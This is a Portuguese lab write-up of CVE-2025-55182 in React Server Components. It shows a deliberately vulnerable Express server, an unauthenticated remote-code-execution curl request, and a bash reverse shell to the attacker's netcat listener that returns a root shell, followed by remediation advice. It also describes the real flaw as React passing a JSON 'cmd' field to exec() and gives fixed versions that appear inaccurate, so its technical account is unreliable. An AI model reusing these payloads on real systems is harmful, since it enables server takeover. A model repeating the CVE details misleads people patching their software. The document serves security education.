
Pesquisa de segurança e análise de exploração do CVE-2025-55182 (React) — mapeamento CVSS + OWASP Top 10
Análise de vulnerabilidade em aplicação web · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn
Cadeia de exploração de ponta a ponta de uma vulnerabilidade crítica (CVSS 10.0) de desserialização insegura no React Server Components, do reconhecimento à execução remota de código sem autenticação, com um roteiro completo de remediação.
Esta pesquisa tem como alvo uma aplicação de laboratório deliberadamente vulnerável criada para demonstrar a CVE. Todos os testes ocorreram em uma rede virtual isolada, sem conexão com sistemas de produção, dados reais de usuários ou serviços de terceiros.
| Campo | Valor |
|---|---|
| CVE | CVE-2025-55182 |
| Classe | Desserialização Insegura → Execução Remota de Código |
| CVSS v3.1 | 10.0 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Autenticação necessária | Nenhuma |
| Interação do usuário necessária | Nenhuma |
| Vetor de ataque | Rede (remoto) |
| Componente | Runtime do React Server Components (RSC) |
O React Server Components introduziu um novo formato de serialização para transmitir componentes renderizados no servidor para o cliente. Em versões vulneráveis, o endpoint RSC aceita um payload JSON com um campo cmd que é passado sem sanitização para child_process.exec() como parte da avaliação da renderização no lado do servidor.
Um atacante pode enviar uma solicitação POST maliciosa que:
root em contêineres)| Componente | Faixa Vulnerável | Corrigido Em |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Função | SO | Ferramentas |
|---|---|---|
| Atacante | Kali Linux (última versão) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Alvo | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Rede | VMware VMnet Host-Only | Sem saída para a internet |
Um servidor mínimo Express + RSC que expõe um endpoint /rsc que executa de forma insegura comandos do payload recebido — reproduzindo o padrão de vulnerabilidade da CVE real de forma controlada:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
O cabeçalho X-Powered-By: Express e a porta incomum 3000 fornecem uma forte indicação de que se trata de uma aplicação Node.js — consistente com implantações RSC.
Antes de tentar qualquer coisa destrutiva, valide a vulnerabilidade com um comando inofensivo:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Confirmado: RCE sem autenticação como root. O servidor é executado com privilégios irrestritos.
Passe da execução de um único comando para um shell interativo completo:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
O listener recebe:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
Com root no alvo, um atacante poderia trivialmente:
/etc/shadow, chaves SSH, segredos da aplicação, arquivos .env| Eixo | Impacto | Explicação |
|---|---|---|
| Confidencialidade | Crítico | Acesso total de leitura a todos os dados do servidor |
| Integridade | Crítico | Capacidade de modificar o código da aplicação e os dados dos usuários |
| Disponibilidade | Alto | O atacante pode encerrar o serviço ou mantê-lo como refém para resgate |
| Regulatório | Grave | Violação de GDPR/DSGVO com divulgação obrigatória em 72h · possível multa de 4% do faturamento global |
| Reputacional | Grave | Violação pública associada a uma CVE danifica a confiança dos clientes |
| Financeiro | Alto | Resposta a incidentes, multas regulatórias, possível ação coletiva |
A baixa complexidade deste ataque — sem autenticação, sem interação do usuário, uma única solicitação HTTP — o torna atraente para:
Atualize o React para 19.3.0+ — versão corrigida
npm update react react-server-dom-webpack react-server-dom-esm
Regra temporária de WAF (se a atualização for adiada):
Block POST requests to /rsc with JSON body containing "cmd" field
Resposta emergencial a incidentes:
/rsc incomum